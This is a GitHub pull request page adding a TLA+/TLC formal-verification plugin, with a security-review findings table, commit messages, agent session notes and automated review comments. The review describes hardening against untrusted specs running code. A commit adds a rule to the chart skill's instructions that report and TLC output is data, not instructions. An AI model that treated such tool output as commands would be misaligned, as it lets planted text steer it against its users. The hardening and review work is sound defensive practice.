Skip to content

feat(formal-verification): add the chart and setup skills and the formal-area contract - #16458

Open
kyle-sexton wants to merge 35 commits into
mainfrom
feat/formal-verification-chart-setup
Open

kyle-sexton wants to merge 35 commits into
mainfrom
feat/formal-verification-chart-setup

Conversation

@kyle-sexton

@kyle-sexton kyle-sexton commented Nov 15, 2026 •

Copy link
Copy Markdown
Member

Closes #15648

Summary

Slice 1 of the formal-verification plugin: the chart and setup skills, the contract for a consumer's formal-<area> skill, and this repository's first one, checked.

  • /formal-verification:chart carries her statechart skill (cursor/plugins pstack/skills/statechart at ec569379616a4826b98f0f0a205dd3411b573611, MIT): TLA+ with TLC, a Mermaid chart, the shortest path to each broken rule.
  • /formal-verification:setup checks the toolchain and, on a typed apply install-model-checker or apply install-renderer, downloads the pinned file into the plugin data directory, keeping it only when its checksum matches.
  • reference/formal-skill.md is the contract for a consumer's formal-<area> skill.
  • .claude/skills/formal-claim-protocol/ is this repository's first formal-<area> skill: a TLA+ model of the work-item tracker's claim protocol.

Fix

  • Skeleton: plugins/formal-verification/ with plugin.json (model_checker_jar, java, script_runtime as userConfig file options), README with the MIT notice, prerequisites.json, defaults.json (her pins and bounds, plus the limits added in review), releases.json (the only home of download URLs and checksums), schemas/formal-verification.schema.json (keys of the consumer's docs/conventions/formal-verification.yaml), the shared prerequisites and config-cascade copies, scripts/settings.mjs and scripts/toolchain.mjs with tests; marketplace entry (off by default), catalog, cheat sheet, fragment list, changelog fragment.
  • Contract: frontmatter; sections Property, Harm, Tool and why, Bounds and assumptions, Not covered, Run, Reading a result, Updating; one sync.yaml entry per check (id, covers, commit, command, seeded_break); model/view.mjs as the view file; model files under model/ unless sync.yaml lists them under outside_model; unattended writes confined to the folder and those paths. Her "What makes it good" text is kept.
  • Chart: her SKILL.md text (including "Never weaken a rule to make it hold." and her "Write the spec" rules) split between the skill and reference/view-module.md, read-report.md, render.md; every file under her scripts/ copied. Changed: statechart.ts takes --jar, --java and the bounds and limits as arguments; run.ts drops the mise install and reads no environment; the launcher takes --runtime; the review round below hardened the rest. The corpus fixtures are regenerated with test/update-corpus.ts against TLC 1.7.4, and her tests assert the fenced path blocks of the current report.
  • Setup: check (runtime, Java, jar with its pinned SHA-256, renderer, plus the declared prerequisites and the resolved settings); apply install-model-checker and apply install-renderer; unattended installs nothing and reports blocked: toolchain missing. Java is never installed.
  • CI: plugins/formal-verification/skills/chart/scripts is registered in scripts/outside-node-packages.txt, so the Test Node lane runs its npm test. Without TLA2TOOLS every TLC test skips, so the lane needs no Java.
  • Security review: ADR 0093 has a formal-verification review record.
  • Upstream records: docs/upstream/cursor-pstack.md rows for statechart, create-formal-verification-skill and maintain-formal-verification-skill read adopted at the pin, with the note that copied scripts diverge and are re-taken only through the drift re-audit; docs/upstream/tlaplus-agentskills.md carries the revised decision and three attribution rows at its re-read pin f2adb5e (unchanged at upstream HEAD).

Review round: chart script findings

Five fresh-context reviewers each read every line of one group of the copied chart scripts: the first four at 43fba2c9189, the fifth at 0af0d1aa8d9:

Group Files Verdict
Core statechart.ts, run.ts, worker.ts, toolchain.mjs Safe after fixes
Backends mermaid.ts, report.ts, cfg.ts, plain-text.ts Safe after fixes
Frontends frontends/ Not safe for untrusted specs before fixes: TLC loaded classes through the spec folder, the Json module, no caps
Passes and tests passes/, test/ Passes safe to ship; tests safe after fixes
Entry and shared types ir.ts, pipeline.ts, the statechart launcher, package.json, tsconfig.json Safe; three low findings fixed in 9eb40bc77e73 (a rejected --runtime is named, escapeText folds line breaks, exit 127 documented). Not changed: tsconfig.json names @types/node, which is not installed, as upstream does; nothing runs tsc

The first four reviewers' findings, all 16, and the commit that addressed each:

# Finding Status Commit
1 TLC loaded Java from the spec folder Fixed: only regular .tla files are staged into a fresh folder that -I and -DTLA-Library point at; .class/.jar files, shadowing and generated module names refused before any JVM; -Dtlc2.overrides.TLCOverrides= empty (stage.ts, run.ts) 146c03d13c2
2 Whole environment forwarded to the JVM and the worker Fixed: allowlist of PATH, LANG, LC_ALL, HOME and TMPDIR in the run's temp folder (stage.ts childEnv), plus the STATECHART_* variables, kept because only the test harness's replaying fake java (test/java.ts) reads them and none carries a credential 146c03d13c2, 327bb34b7e7
3 No timeout, heap or output cap; unbounded collection; open descriptors Fixed: per-run timeout (kills the JVM), -Xmx, byte cap, each a setting and an argument; stopOf stops at 200 parts and tail keeps a 1 MiB window; outputs are read and their descriptors closed before the temp folder is removed 146c03d13c2 (settings in d6a259c21af)
4 Modules that touch the machine Fixed: EXTENDS and INSTANCE outside the allowed_modules setting are refused, naming the module and why; checked on the staged text before SANY 146c03d13c2
5 View file runs as JavaScript Fixed: rule stated in chart/SKILL.md and reference/view-module.md; the scrubbed worker environment is the second layer 93f6a07ac30
6 Repository could set download URL and checksums; path traversal Fixed: URLs and checksums only in releases.json, a convention file that sets one is refused, versions and package names pattern-checked, install targets asserted under the data folder, https only, size cap and timeout d6a259c21af
7 Output folder through a symlink Fixed: lstat refuses a link; path.resolve 146c03d13c2
8 Unescaped spec text and fixed fences in the report Fixed: dynamic fences around each path and TLC's output, Markdown/HTML escaping outside fences, per-line and per-path caps naming the full file; rule stated in SKILL.md and read-report.md b369b064acb, 93f6a07ac30
9 Test could SIGKILL pid 0 Fixed in the test and the script it writes d851e211f22
10 Interval expansion Fixed: above interval_max the view gets {lo, hi} 146c03d13c2
11 Default labels containing undefined/NaN refused Fixed: guard applies only to view return values, whole-value match 86427e41b1c
12 Region condition dropped after a bracketed label Fixed: condition kept; merge key includes it 86427e41b1c
13 Spec extension and list separator Fixed: a name not ending in lower-case .tla fails; the staged folder is under the temp folder and is refused if it holds the separator 146c03d13c2
14 Legend classes undefined; quadratic colon scan Fixed: classDef for every used class; one right-to-left pass b369b064acb
15 Generated module and operator name collisions Fixed by refusal: a spec module named ChartBound/ChartRun, or any use of a generated name, is refused with a message (names not suffixed, to keep her test harness's file names) 146c03d13c2
16 Fixture rewrite in the test run; temp folders; fast-check; lockfile Fixed: test/update-corpus.ts, never run by the test command; t.after cleanup in the corpus test and the new tests; fast-check loaded inside its test; package-lock.json committed db59e0fff71

Run after the fixes: test/update-corpus.ts regenerated all 33 corpus cases with TLC 1.7.4, and her whole suite ran with TLC (counts under Verification). The test "an --out that is a file stops the command with exit 2" asserted the old ENOTDIR: not a directory text; it now expects finding 7's "It is not a folder" (d662a24980c). Her render tests (Pele and mermaid.js) were not run: they need STATECHART_RENDER_DEPS with pele, mermaid and jsdom installed.

Audit her copy without a diff commit. Git blob ids are content hashes, so equal ids mean an unchanged file. List her files at the pin:

gh api "repos/cursor/plugins/git/trees/ec569379616a4826b98f0f0a205dd3411b573611?recursive=1" --jq '.tree[] | select(.type=="blob") | select(.path|startswith("pstack/skills/statechart/")) | "\(.sha) \(.path|ltrimstr("pstack/skills/statechart/"))"'

List the copy as committed in 647187aaff2:

git ls-tree -r 647187aaff2 -- plugins/formal-verification/skills/chart/scripts

Fetch one of her files at the pin to diff by hand:

gh api -H "Accept: application/vnd.github.raw" "repos/cursor/plugins/contents/pstack/skills/statechart/scripts/run.ts?ref=ec569379616a4826b98f0f0a205dd3411b573611"

The regenerated fixture .out files carry TLC's run header (kernel version, core count, heap, process id, timestamps) and temp-folder paths; no home folder or user path.

Security posture

After this round:

  • Safe: charting a spec you or a trusted branch wrote, on your own machine. The command stages only .tla files, refuses Java code and file-touching modules, runs Java with a scrubbed environment, a heap cap, a timeout and an output cap, and writes only to a new output folder.
  • Not safe: charting a spec, config or view file from an untrusted pull request outside a sandbox. A view file is JavaScript the command runs; TLC is a large Java program run on attacker-chosen input. Owner decision, 2026-11-15: untrusted specs are not a threat in this estate, whose only actors are the owner, his bots, agents and GitHub Apps, so no sandbox work is done. No lane or CI job runs the model checker.
  • Downloads: only the URLs and checksums in the shipped releases.json, over https, size- and time-capped, written only under the plugin data directory, and only on a typed setup apply install-*.

Verification

  • Her chart suite (node --test --test-concurrency=4 test/*.test.ts in the chart scripts folder, TLA2TOOLS set to tla2tools 1.7.4, Java Temurin 25.0.5):
    • before the fixture regeneration: 387 tests, 251 pass, 63 fail, 73 skipped (331 s);
    • after the regeneration: 301 pass, 13 fail, 73 skipped (275 s);
    • after the assertion updates: 313 pass, 1 fail (the ENOTDIR test above), 73 skipped (273 s). The 73 skips are the render tests.
  • The CI shape, npm test with no TLA2TOOLS and no Java on PATH, at bf5c619af20: 354 tests, 214 pass, 0 fail, 140 skipped (36 s).
  • node --test plugins/formal-verification/scripts/toolchain.test.mjs: 18 pass, 0 fail (settings layering, blocked: toolchain missing writing nothing, a repository URL/sha256/integrity refused, an unpinned version refused, traversal refused, https only, size cap by header and by bytes, timeout, checksum match kept and mismatch discarded).
  • test/guard.test.ts: 20 pass, 0 fail (fences, escaping, caps, the colon scan in linear time, module and generated-name scanning, staging and its refusals, the environment allowlist, the output folder).
  • scripts/validate-plugins.sh --only formal-verification: passes. scripts/check-affected.sh in the pre-push hook: passes after merging origin/main.
  • Claim-protocol model: both shipped checks run through /formal-verification:chart with the verdicts under "Claim-protocol model"; raw TLC agrees on every rule. The seeded break is caught in both.
  • Not run: the render tests.

Related

Claim-protocol model

The owner approved all seven invariants as drafted (2026-11-15). The model, .claude/skills/formal-claim-protocol/model/ClaimProtocol.tla, describes the GitHub adapter's lease scripts at a548b3a (after #16475, #16509 and #16515) one GitHub call per step: claim, renew, release and the assignee hand-back, with the 300 s margin, expiry and the completed-run rule. Two checks ship, each two to three minutes through /formal-verification:chart: a local session against the issue lane (LocalLane.cfg, 1,686,588 states) and against a same-login triage claim (LocalTriage.cfg, 1,356,633 states).

The seeded-break chart and the failure-flag table are in this pull request's evidence comment.

Remaining

None in this pull request. The three documented limits (clock skew, ttl-0, comment-id order) and the no-compare-and-swap windows are listed as known limits in the skill. Not run: the 73 render tests (they need the renderer package), so the legend class fix has not been drawn by a renderer.

🤖 Generated with Claude Code

kyle-sexton and others added 8 commits November 15, 2026 16:45
…chain scripts

Register the formal-verification plugin (off by default) with its
userConfig paths for the model checker jar, Java and the script runtime,
prerequisites, README with the MIT notice for the carried statechart
files, and the shared prerequisites and config-cascade copies.

defaults.json holds the pins and bounds; scripts/settings.mjs resolves
them through the consumer's docs/conventions/formal-verification.yaml.
scripts/toolchain.mjs checks the toolchain, resolves it for the chart
skill (blocked: toolchain missing when absent), and installs the pinned
jar or renderer only when asked, keeping a download only when its
checksum matches.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
reference/formal-skill.md names what a consumer's formal-<area> skill
holds: frontmatter; the sections Property, Harm, Tool and why, Bounds
and assumptions, Not covered, Run, Reading a result and Updating; one
sync.yaml entry per check (id, covers, commit, command, seeded_break);
model/view.mjs as the view file the chart reads; model files under
model/ unless sync.yaml lists them; unattended writes confined to the
folder and those paths.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Carry the pstack statechart skill's text and scripts at
cursor/plugins@ec56937 as
/formal-verification:chart. The scripts no longer install TLC or Java:
statechart.ts takes --jar, --java, --chart-states and --rerun-states,
run.ts drops the mise install path and reads no environment, the bounds
default from defaults.json, and the launcher takes --runtime. The skill
resolves the toolchain through scripts/toolchain.mjs and reports
blocked: toolchain missing instead of installing.

Her tests come along, changed only to pass the jar and Java as arguments
and to find the renderer in a given folder instead of installing it.
They are not run in this change: her code runs only after the per-group
script review.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
/formal-verification:setup check reports the script runtime, Java, the
model checker jar and the renderer, and the resolved pins and bounds.
apply install-model-checker and apply install-renderer download the
pinned file into the plugin data directory, keeping it only when its
checksum matches; typing the subaction is the yes, and an unattended
run installs nothing and reports blocked: toolchain missing. Java is
never installed.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…laim-protocol

The repository's first formal-<area> skill: a TLA+ model of one issue
claimed at once by a local default claim, the issue lane's lease-only
claim and a triage-phase claim on the GitHub adapter, with lease expiry,
release and the completed-run rule. Each draft invariant quotes the
tracker contract or claim.sh line it encodes. The model is not checked:
the owner approves the invariants first.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…eams

The pstack record's statechart, create- and maintain-formal-verification
rows read adopted at ec56937961, with the copy decision and the rule
that copied scripts diverge as ours and are re-taken only through the
drift re-audit. The tlaplus/AgentSkills record carries the revised
decision and attribution rows at its re-read pin, f2adb5e (unchanged
at upstream HEAD): nothing taken in this slice.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…spelling lint

The corpus report.md files are expected command output compared byte
for byte, so a nested markdownlint config ignores them; two test lines
whose fixture strings read as misspellings carry the typos disable-line
directive.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…tended chart run

One case runs bare setup and expects the read-only toolchain check with
no install; one runs the chart skill unattended with no jar and expects
blocked: toolchain missing and no install. The setup description fits
the description budget, and the cheat sheet links the chart skill's
pstack equivalent.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@kyle-sexton kyle-sexton added the do-not-merge Hard merge gate: do not merge while applied. label Nov 15, 2026
kyle-sexton and others added 8 commits November 15, 2026 17:10
cli.test.ts sent SIGKILL to Number(ps output); with ps missing that is
pid 0, the whole test run's process group. The test and the helper
script it writes now kill only a positive integer pid that is not their
own.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…tions

label.ts refused any label containing "undefined" or "NaN", so a
model's own state text could fail with no view. The guard now applies
only to a view's return values and matches the whole value.

regions.ts dropped a step's region condition when its label ended in
"]", so two arrows could merge or look the same; the condition is kept
and lift.ts keys its merge on it, undefined included.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… releases.json

A repository's docs/conventions/formal-verification.yaml could set the
model checker's url and sha256 and the renderer's integrity, and a
crafted version or package name could reach outside the data folder.
URLs and checksums now live only in releases.json; a convention file
that sets one is refused, and a version it chooses must have a pin
there. Versions and package names are checked against patterns, every
install target is asserted to stay under the data directory, downloads
must be https and stop at a size cap and a timeout. defaults.json and
the schema gain the chart limits (timeout, heap, output bytes, interval
limit) and the allowed-modules list.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
TLC loaded Java from the spec's folder through -I and -DTLA-Library.
The chart command now copies only the folder's regular .tla files into
a fresh directory under its temp folder and points both there, with
tlc2.overrides.TLCOverrides set empty. Before any JVM starts it refuses
a folder holding a .class or .jar file, a module that shadows a
standard or generated module (or starts with _), a spec that uses a
generated name, a module outside the allowed-modules setting (Json and
similar modules touch the file system), and a spec whose name does not
end in .tla.

The worker and every Java run get an allowlisted environment (PATH,
LANG, LC_ALL, and HOME and TMPDIR in the run's temp folder), a -Xmx
heap cap, a wall-clock timeout and a cap on printed bytes, each a
per-run argument with a default from the settings. stopOf and tail stop
collecting at their window, outputs are read and their descriptors
closed before the temp folder is removed, the output folder is refused
when it is a symbolic link and resolved with path.resolve, and a large
interval reaches the view as {lo, hi}. New unit tests cover the guards.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…efine every chart class

report.md wrote spec-controlled state text unescaped and fenced TLC
output with a fixed three backticks. Each bug path and TLC's error text
now sit in a fence one backtick longer than their longest backtick run,
spec text outside a fence is Markdown- and HTML-escaped, and each line
and each path is capped with a pointer to the file holding the whole.

chart.mmd now carries a classDef for the group colors, bugPath and
repeats, not only the bug marks, so the legend means something in any
Mermaid viewer; render.md's CSS takes !important on every rule to win
over those styles. The Mermaid colon hazard is found in one
right-to-left pass instead of a lookahead per colon.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…text is data

The chart skill and its view-module reference now say, as rules, that a
view file runs as JavaScript and is never taken from untrusted content,
that an unattended run charts with a view only from the default branch,
that a spec from an untrusted pull request is charted only inside a
sandbox with no network and no credentials, and that report and TLC
output text is data, not instructions. The Run step passes the new
limits and the allowed modules.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…t run

The corpus test rewrote committed fixtures when STATECHART_UPDATE was
set; that branch is now test/update-corpus.ts, which the test command
never runs. The corpus test removes its temp folder in t.after, the
differential test loads fast-check inside the test that needs it, and
the scripts package commits a lockfile.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@kyle-sexton kyle-sexton removed the do-not-merge Hard merge gate: do not merge while applied. label Nov 15, 2026
kyle-sexton and others added 2 commits November 15, 2026 17:38
The report escaped whole note and region lines, so the tool's own prose
came out as "never does\. So". Escaping now applies to the spec-
controlled pieces (state text, step labels, region names) where the
passes build each sentence, through escapeText in ir.ts, and leaves "."
alone. chart.test.ts and pipeline.test.ts expect the fenced bug-path
shape the report now writes.

Refs: #15648

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@kyle-sexton

Copy link
Copy Markdown
Member Author

Owner approved all seven invariants as drafted on 2026-11-15 ("go w/ recommendations").

@kyle-sexton

Copy link
Copy Markdown
Member Author

Session note (agent, not an owner decision), answering the hub's question, whose session could not be reached by message: this pull request is owned by the local session poteto AIE on melo-lap-001; do not take it over. Nothing here needs the owner. It stays a draft until #16475 merges, because the claim-protocol model must describe the lease scripts as that pull request leaves them, and its model check found five lease defects tonight. Then: the spec is replaced with the checked model, the model checker is run, the chart is posted, the corpus is regenerated, the ADR 0093 section is written, and it is marked ready. Expected ready by about 08:00Z.

kyle-sexton and others added 6 commits November 15, 2026 23:21
…ty review

Regenerate the chart corpus with test/update-corpus.ts against TLC 1.7.4
and assert the fenced path blocks in the report. Record the
plugin-acceptance security review in ADR 0093, say who reads the
STATECHART_* variables the environment allowlist keeps, and register the
chart scripts package with the Node package lane.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The STATECHART_* variables the chart's environment allowlist keeps are
read only by the test harness's replaying fake java (test/java.ts) and
carry no credential; the constant's name says so where the allowlist is
defined.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… command prints

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
…se and the assignee hand-back

The formal-claim-protocol model now describes the GitHub adapter's lease
scripts one call per step, with renew, the 300 s margin and the hand-back,
and ships two checks: a local session against the issue lane, and against a
same-login triage claim. The seeded break is caught in both.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
@kyle-sexton

Copy link
Copy Markdown
Member Author

Hub, on the owner's standing direction (re-pasted 2026-11-16 ~10:3x AM EST: 'When the evidence settles a question, act on it. Do not ask me'): the failing CLI test 'an --out that is a file stops the command with exit 2' asserts the old ENOTDIR text, and finding 7's freshOut intentionally changed the message to 'It is not a folder'. Update the test's expected text to the new message; this is not an owner call. The PR also conflicts with main: merge main before marking ready.

kyle-sexton and others added 2 commits November 16, 2026 11:02
…ion-chart-setup

# Conflicts:
#	docs/upstream/cursor-pstack.md
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
@kyle-sexton

Copy link
Copy Markdown
Member Author

Session note (agent). Main is merged in at 57380c2: the conflict in docs/upstream/cursor-pstack.md is resolved (branch wording kept, main's upstream pin applied) and the plugin's three shared lib/prerequisites.* copies are synced. The CLI test already expects It is not a folder (cli.test.ts:1145, d662a24), so nothing changes there. This stays a held draft until #16515 is on main and the checked claim-protocol model is moved onto this branch; then it is marked ready and merged.

kyle-sexton and others added 2 commits November 16, 2026 11:18
…very rule holding

The model follows the hand-back's clock read before each lease list and
the outranked release that supersedes its own lease and hands back only
after a supersede succeeded (#16515), and renew's back-off on a failed
PATCH near expiry (#16509). Line citations are at a548b3a. Both
shipped cfgs hold every rule; the known results list the breaks left
under each failure flag.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
@kyle-sexton kyle-sexton removed the do-not-merge Hard merge gate: do not merge while applied. label Nov 16, 2026
@kyle-sexton
kyle-sexton marked this pull request as ready for review November 16, 2026 16:37
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Nov 16, 2026 •

Copy link
Copy Markdown
Codex Review Summary: ✅ Completed

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-11-16T16:45:50.614388Z bf5c619 Draft marked ready
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@github-actions

Copy link
Copy Markdown
Contributor

Lane run report

Field Value
Activity pr-refine/fix-docs
Model rung 0
Leg handoff
Run job success
Activity step success
Commits pushed none (read lane)
Run 43909558940

Failed GitHub API calls

Method Path Status
GET /repos/{repo}/git/ref/tags/* 404

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: bf5c619af2

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

claude-security-review: 4 inline finding(s) on bf5c619af2019ddeec180ec1a9ac874d500bbf09; the summary is in this lane's pull request comment.

claude-lane: claude-security-review

Comment on lines +614 to +628
{
"name": "formal-verification",
"source": "./plugins/formal-verification",
"category": "testing",
"tags": [
"formal-verification",
"tla-plus",
"tlc",
"model-checking",
"statechart",
"mermaid",
"skill"
],
"defaultEnabled": false
},

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

manifest plugins[formal-verification]: flag, plugin entry added (source: ./plugins/formal-verification), opt-in

This adds a new marketplace entry. It sets "defaultEnabled": false (line 627), so the plugin's code runs only for users who enable it. Existing marketplace users get nothing new on update.

What an enabled user gets:

  • Two skills.
  • /formal-verification:chart can be invoked by the model (disable-model-invocation: false). It runs the copied TypeScript under skills/chart/scripts with Node, Bun or Deno. That runs TLC (Java) on the spec, and runs the consumer's --view file as JavaScript in a worker.
  • /formal-verification:setup apply install-* downloads the pinned tla2tools.jar (GitHub release) and pele-1.9.0.tgz (npm registry). Both are checksum-checked against the shipped releases.json and written only under ${CLAUDE_PLUGIN_DATA}.

The manifest adds no hooks, MCP, LSP or monitors. The owner accepted the remaining risk of charting an untrusted spec or view (ADR 0093 record).

severity: IMPORTANT

claude-lane: claude-security-review

Comment on lines +23 to +27
"model_checker_jar": {
"type": "file",
"title": "Model checker jar",
"description": "Path to tla2tools.jar, the TLC model checker. Unset uses the jar that setup installs under the plugin data directory."
},

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

manifest userConfig.model_checker_jar: flag, file path passed to code

This is not a selector or an inert key: type is file, and the value reaches a script. In skills/chart/SKILL.md:30 it is interpolated as --jar '${user_config.model_checker_jar}' into the toolchain.mjs resolve Bash command, and then passed to statechart --jar, which hands it to Java as the TLC classpath.

In toolchain.mjs, a jar named by this option skips the SHA-256 pin. The pin applies only to the jar that setup installs. So whatever path the user sets is loaded as Java code.

The value is the user's own setting, so I found no attacker path. Two things to note: a path containing ' breaks the single quoting in that Bash line, and there is no checksum on a user-named jar.

severity: IMPORTANT

claude-lane: claude-security-review

Comment on lines +28 to +32
"java": {
"type": "file",
"title": "Java binary",
"description": "Path to the java binary that runs TLC. Unset uses java on PATH. The plugin never installs Java."
},

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

manifest userConfig.java: flag, file path run as a binary

The value is executed as a binary:

  • toolchain.mjs probeJava spawns it with -version.
  • It is passed to statechart --java, which runs TLC with it.
  • It reaches the session's Bash single-quoted (--java '${user_config.java}', skills/chart/SKILL.md:30).

This is not a selector or an inert key. It is the user's own path, and I found no path for an attacker to set it. A value containing ' breaks the Bash quoting.

severity: IMPORTANT

claude-lane: claude-security-review

Comment on lines +33 to +37
"script_runtime": {
"type": "file",
"title": "Script runtime",
"description": "Path to the Node, Bun or Deno binary that runs the chart scripts. Unset lets the launcher pick the first supported one on PATH."
}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

manifest userConfig.script_runtime: flag, file path run as a binary

The value is executed:

  • toolchain.mjs probeRuntime spawns it with --version.
  • It is the runtime the chart launcher uses (--runtime) to run the chart TypeScript.
  • It reaches Bash single-quoted (--runtime '${user_config.script_runtime}', skills/chart/SKILL.md:30).

This is not a selector or an inert key. It is the user's own path, and I found no path for an attacker to set it. A value containing ' breaks the Bash quoting.

severity: IMPORTANT

claude-lane: claude-security-review

@github-actions

github-actions Bot commented Nov 16, 2026 •

Copy link
Copy Markdown
Contributor

claude-security-review partial review of 9eb40bc77e73a77c3c4d51056d03d461cceb088d: read 456 of 457 changed file(s); 1 data file(s) not reviewed: plugins/formal-verification/skills/chart/scripts/test/corpus/PickWorker/sany.out; 1 binary file(s) not reviewable as text: plugins/formal-verification/skills/chart/scripts/package-lock.json. 7 finding(s) in what was read, 1 as inline comments. This head is not reviewed.

Chunk 1 of 12 (40 files)

claude-security-review, chunk 1 of 12 (blocking only). Read all 40 files. 1 new inline finding: toolchain.mjs resolve passes repository-set heap and allowed_modules strings, unchecked, into the Bash command the chart skill has the model build.

Manifest:

No finding:

  • pr-require-checks.yml only adds the chart corpus graph.dot files to a lint exclude; no hold or trust gate changes.
  • Setup downloads are pinned and checksum-checked from releases.json.
  • The formal-claim-protocol skill adds instructions and removes none.
  • The lib/ files are generated copies of the shared modules.

Chunk 2 of 12 (40 files)

claude-security-review, chunk 2 of 12 (the chart skill's reference/ docs and scripts/: backends, frontends, passes, guard.ts, stage.ts, run.ts, the launcher, statechart.ts, tests). I read all 40 files. This was a blocking-only pass, since this lane already reviewed earlier heads, so SUGGESTION-level points were dropped.

Checked, no new finding:

  • JVM: Java gets -cp <jar> only. Only regular .tla files are staged, symlinks skipped. Overrides are set empty. Shadowing and off-allowlist modules are refused (fails closed).
  • Environment: childEnv passes only PATH, LANG, LC_ALL and STATECHART_*, so JAVA_TOOL_OPTIONS never reaches Java.
  • Arguments: --heap, --modules and the numeric flags are pattern-checked. sh -c calls take values as positional args, not interpolated.
  • Output files: tlc-<rule>.out names come only from identifier-checked rule names.
  • Marks: a random 128-bit tag stops spec output from posing as a mark.
  • Output folder: freshOut refuses a symlink or a non-empty folder.
  • Docs: the new reference docs only add rules; none deleted or softened.

No manifest changes in this chunk. No cost hold.

Chunk 3 of 12 (40 files)

claude-security-review, chunk 3 of 12 (blocking only: this lane already reviewed earlier heads, so only CRITICAL and IMPORTANT findings are reported)

No security issues found in this chunk.

What the 40 files are:

  • Two test files: test/config-fuzz.test.ts and test/corpus.test.ts.
  • Corpus fixtures for Counter, CounterAction, CounterDeadlock, CounterFan and CounterGuard (ChartRun.exit only): .tla, .cfg, chart.mmd, graph.dot, report.md, sany.out, verdict-*.out and .exit.

What I checked:

  • Both tests skip unless TLA2TOOLS is set, so the CI Test Node lane runs neither Java nor TLC. They spawn java or the chart script only on the developer's machine, with fixed arguments. Their input is the committed corpus, specs the tests write into mkdtemp folders, or generated config text. No shell interpolation and no network.
  • Passing ...process.env to child processes happens only in this test harness. It does not touch the scrubbed environment allowlist in stage.ts.
  • The fixtures are recorded TLC and SANY output. They hold kernel and JVM version strings, pids, seeds, timestamps and /tmp/statechart-* paths. I found no home folder, username, token or secret.
  • The "(*" string case in corpus.test.ts checks that charting matches plain TLC. It does not cover the module guard. The guard bypass is already posted on guard.ts (prior findings, unchanged lines, outside this chunk).

No manifest, workflow, trust-control or instruction-surface files are in this chunk.

Chunk 4 of 12 (40 files)

claude-security-review, chunk 4 of 12: no security findings.

Earlier heads of this PR were already reviewed, so this pass reports only CRITICAL and IMPORTANT findings.

All 40 files in this chunk are new test-corpus fixtures for the chart scripts. They sit under plugins/formal-verification/skills/chart/scripts/test/corpus/, in CounterGuard, CounterInitPast, CounterInitPastHolds, CounterInstance and CounterJump. They are:

  • small .tla specs and .cfg files;
  • recorded TLC and SANY output (*.out, sany.out XML, verdict-1.exit);
  • the expected chart.mmd, graph.dot and report.md.

None of these paths is on the trusted-path list. Nothing here is executable or a manifest, and no workflow, hook, permission or instruction surface changes.

What I checked:

  • Imported modules: the specs use only the standard modules EXTENDS Naturals and INSTANCE CounterSteps (a local corpus module). Nothing pulls in a module that reads or writes files, such as Json or IOUtils.
  • Recorded output: it holds TLC's run header (TLC version, WSL2 kernel string, core count, heap, process id, timestamps) and /tmp/statechart-* staging paths. There is no home folder, user name, token or credential, as the PR description says.
  • Report text: the report.md and Mermaid fixtures contain only spec values and rule names. There is no embedded HTML, links or text addressed to the reviewing model.

Embedded text: none found in this chunk or in the PR-context, settled-threads or prior-findings files.

Chunk 5 of 12 (40 files)

claude-security-review, chunk 5 of 12: no security issues found.

I read every hunk of all 40 files in this chunk. Each one is a new test fixture under plugins/formal-verification/skills/chart/scripts/test/corpus/ for the cases CounterJump, CounterLoop, CounterOrder, CounterRules and CounterStart. The files are small .tla/.cfg specs, the expected outputs (chart.mmd, graph.dot, report.md) and TLC/SANY output fixtures (*.out).

